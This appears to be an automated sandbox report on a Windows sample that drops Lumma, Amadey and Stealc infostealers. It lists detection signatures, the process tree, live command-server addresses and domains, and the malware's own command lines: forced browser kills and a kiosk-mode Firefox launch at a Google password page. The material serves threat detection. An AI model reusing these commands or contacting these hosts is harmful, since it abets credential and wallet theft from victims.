Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1540733
MD5:	168a446710f2bab46f3da2d8a92008e2
SHA1:	8c83f817e6b6d98a3a5526dec196f7fc6ed90e54
SHA256:	1d90c40defe396301d00b6fe2d743c2e54f3fa5a8bb2be8800a104283506b1cf
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7412 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 168A446710F2BAB46F3DA2D8A92008E2)

G4X9C8XP66LPZY0PX2HHB5N.exe (PID: 7816 cmdline: "C:\Users\user~1\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe" MD5: 4D78E942E639DF559486A8BCF5B3CDAC)

skotes.exe (PID: 8144 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 4D78E942E639DF559486A8BCF5B3CDAC)

8138ba21a1.exe (PID: 2332 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe" MD5: 168A446710F2BAB46F3DA2D8A92008E2)

bd214fbd32.exe (PID: 4864 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001091001\bd214fbd32.exe" MD5: 7CEC6EEFC34F3702D47FA5A28CBBB929)

136916b3ff.exe (PID: 5936 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001092001\136916b3ff.exe" MD5: 5ED9138AF4A937507DFDA5A5729F17BE)

taskkill.exe (PID: 7796 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6636 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7248 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7212 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7872 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 8060 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 7552 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001093001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

J2IWSCR5FJAMGGW2VC4ET4.exe (PID: 7932 cmdline: "C:\Users\user~1\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe" MD5: 7CEC6EEFC34F3702D47FA5A28CBBB929)

3BW8PCDTI0L77ZRRJ1.exe (PID: 8124 cmdline: "C:\Users\user~1\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe" MD5: 4B01B088DC9716204A408AD75CCEF360)

skotes.exe (PID: 8104 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4D78E942E639DF559486A8BCF5B3CDAC)

skotes.exe (PID: 7592 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4D78E942E639DF559486A8BCF5B3CDAC)

8138ba21a1.exe (PID: 2276 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe" MD5: 168A446710F2BAB46F3DA2D8A92008E2)

5VHE3T5UQF0Q17ZEPUURN3ZOS.exe (PID: 6428 cmdline: "C:\Users\user~1\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe" MD5: 4D78E942E639DF559486A8BCF5B3CDAC)

H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe (PID: 4796 cmdline: "C:\Users\user~1\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe" MD5: 7CEC6EEFC34F3702D47FA5A28CBBB929)

GVMUIWZ4K51WM0HUSRJ8R.exe (PID: 1228 cmdline: "C:\Users\user~1\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe" MD5: 4B01B088DC9716204A408AD75CCEF360)

firefox.exe (PID: 3752 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6000 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7964 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2220 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6c059e01-df08-4ea7-99e7-8e52a0f774f0} 6000 "\\.\pipe\gecko-crash-server-pipe.6000" 1c95726dd10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4240 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4580 -parentBuildID 20230927232528 -prefsHandle 4572 -prefMapHandle 4480 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d66d859a-061e-466f-93a3-e7567ce2edce} 6000 "\\.\pipe\gecko-crash-server-pipe.6000" 1c968370810 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

bd214fbd32.exe (PID: 2348 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001091001\bd214fbd32.exe" MD5: 7CEC6EEFC34F3702D47FA5A28CBBB929)

136916b3ff.exe (PID: 4256 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001092001\136916b3ff.exe" MD5: 5ED9138AF4A937507DFDA5A5729F17BE)

taskkill.exe (PID: 348 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6536 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6016 cmdline: MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

num.exe (PID: 320 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001093001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

8138ba21a1.exe (PID: 8092 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe" MD5: 168A446710F2BAB46F3DA2D8A92008E2)

skotes.exe (PID: 3088 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4D78E942E639DF559486A8BCF5B3CDAC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: LummaC

{"C2 url": ["spirittunek.store", "studennotediw.store", "dissapoiznw.store", "mobbipenju.store", "clearancek.site", "bathdoomgaz.store", "eaglepawnoy.store", "licendfilteo.site"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1001093001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1001093001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000028.00000003.2232897578.0000000004D30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000003.2084529738.0000000001193000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.1769530723.00000000005C1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2068205912.0000000001190000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000002.2122542040.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000027.00000002.2252074672.0000000000F81000.00000040.00000001.01000000.0000001C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000026.00000002.2204680334.0000000000361000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.1985396722.0000000000361000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000003.2043212378.0000000001190000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000028.00000002.2323652564.0000000000291000.00000040.00000001.01000000.0000001D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000003.2029327781.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1459148229.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.1883606041.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000003.2082564120.0000000001191000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1600676886.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000026.00000002.2207625905.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1477555129.00000000011F8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1589647149.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.1688670034.0000000000471000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1446807409.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.1688666080.00000000005C1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.1690398993.000000000111E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000026.00000000.2182412308.0000000000361000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.1987795463.000000000112E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000027.00000003.2208281116.0000000005340000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.1927559885.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.1647906928.0000000005120000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000000.1970036309.0000000000361000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.1923946896.0000000000051000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1431421560.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1474200360.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.1646501442.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.2116759682.0000000000051000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.1635679717.0000000000591000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.1729250008.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7412	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7412	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7412	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: J2IWSCR5FJAMGGW2VC4ET4.exe PID: 7932	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: J2IWSCR5FJAMGGW2VC4ET4.exe PID: 7932	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: bd214fbd32.exe PID: 4864	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: bd214fbd32.exe PID: 4864	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 136916b3ff.exe PID: 5936	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 8138ba21a1.exe PID: 2276	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8138ba21a1.exe PID: 2276	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8138ba21a1.exe PID: 2276	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: num.exe PID: 320	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 42 entries

Unpacked PEs

Source	Rule	Description	Author
39.2.5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.f80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
38.2.num.exe.360000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
30.2.num.exe.360000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
14.2.bd214fbd32.exe.50000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
34.2.bd214fbd32.exe.50000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
30.0.num.exe.360000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.file.exe.11f72e0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.3.file.exe.11f72e0.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.skotes.exe.5c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
40.2.H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.290000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
9.2.skotes.exe.5c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
38.0.num.exe.360000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.G4X9C8XP66LPZY0PX2HHB5N.exe.590000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.J2IWSCR5FJAMGGW2VC4ET4.exe.470000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 9 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8144, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8138ba21a1.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8144, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8138ba21a1.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7412, ParentProcessName: file.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe", ProcessId: 7816, ProcessName: G4X9C8XP66LPZY0PX2HHB5N.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:30.424909+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49757	104.21.53.8	443	TCP
2024-10-24T04:01:31.689900+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49763	104.21.53.8	443	TCP
2024-10-24T04:01:41.990543+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49830	104.21.53.8	443	TCP
2024-10-24T04:02:27.018675+0200	2054653	1	A Network Trojan was detected	192.168.2.7	50000	104.21.53.8	443	TCP
2024-10-24T04:02:28.351300+0200	2054653	1	A Network Trojan was detected	192.168.2.7	50005	104.21.53.8	443	TCP
2024-10-24T04:02:41.585496+0200	2054653	1	A Network Trojan was detected	192.168.2.7	50038	104.21.53.8	443	TCP
2024-10-24T04:03:02.462991+0200	2054653	1	A Network Trojan was detected	192.168.2.7	50051	104.21.53.8	443	TCP
2024-10-24T04:03:04.007118+0200	2054653	1	A Network Trojan was detected	192.168.2.7	50052	104.21.53.8	443	TCP
2024-10-24T04:03:12.874890+0200	2054653	1	A Network Trojan was detected	192.168.2.7	50094	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:30.424909+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49757	104.21.53.8	443	TCP
2024-10-24T04:02:27.018675+0200	2049836	1	A Network Trojan was detected	192.168.2.7	50000	104.21.53.8	443	TCP
2024-10-24T04:03:02.462991+0200	2049836	1	A Network Trojan was detected	192.168.2.7	50051	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:31.689900+0200	2049812	1	A Network Trojan was detected	192.168.2.7	49763	104.21.53.8	443	TCP
2024-10-24T04:02:28.351300+0200	2049812	1	A Network Trojan was detected	192.168.2.7	50005	104.21.53.8	443	TCP
2024-10-24T04:03:04.007118+0200	2049812	1	A Network Trojan was detected	192.168.2.7	50052	104.21.53.8	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:48.071898+0200	2019714	2	Potentially Bad Traffic	192.168.2.7	49837	185.215.113.16	80	TCP
2024-10-24T04:02:24.799900+0200	2019714	2	Potentially Bad Traffic	192.168.2.7	49995	185.215.113.16	80	TCP
2024-10-24T04:02:51.010049+0200	2019714	2	Potentially Bad Traffic	192.168.2.7	50039	185.215.113.16	80	TCP
2024-10-24T04:03:21.866279+0200	2019714	2	Potentially Bad Traffic	192.168.2.7	50095	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:02:09.591796+0200	2044696	1	A Network Trojan was detected	192.168.2.7	49985	185.215.113.43	80	TCP
2024-10-24T04:02:18.746889+0200	2044696	1	A Network Trojan was detected	192.168.2.7	49991	185.215.113.43	80	TCP
2024-10-24T04:02:23.813992+0200	2044696	1	A Network Trojan was detected	192.168.2.7	49994	185.215.113.43	80	TCP
2024-10-24T04:02:28.625341+0200	2044696	1	A Network Trojan was detected	192.168.2.7	50006	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:01:27.926054+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.7	55158	1.1.1.1	53	UDP
2024-10-24T04:02:08.265400+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.7	53353	1.1.1.1	53	UDP
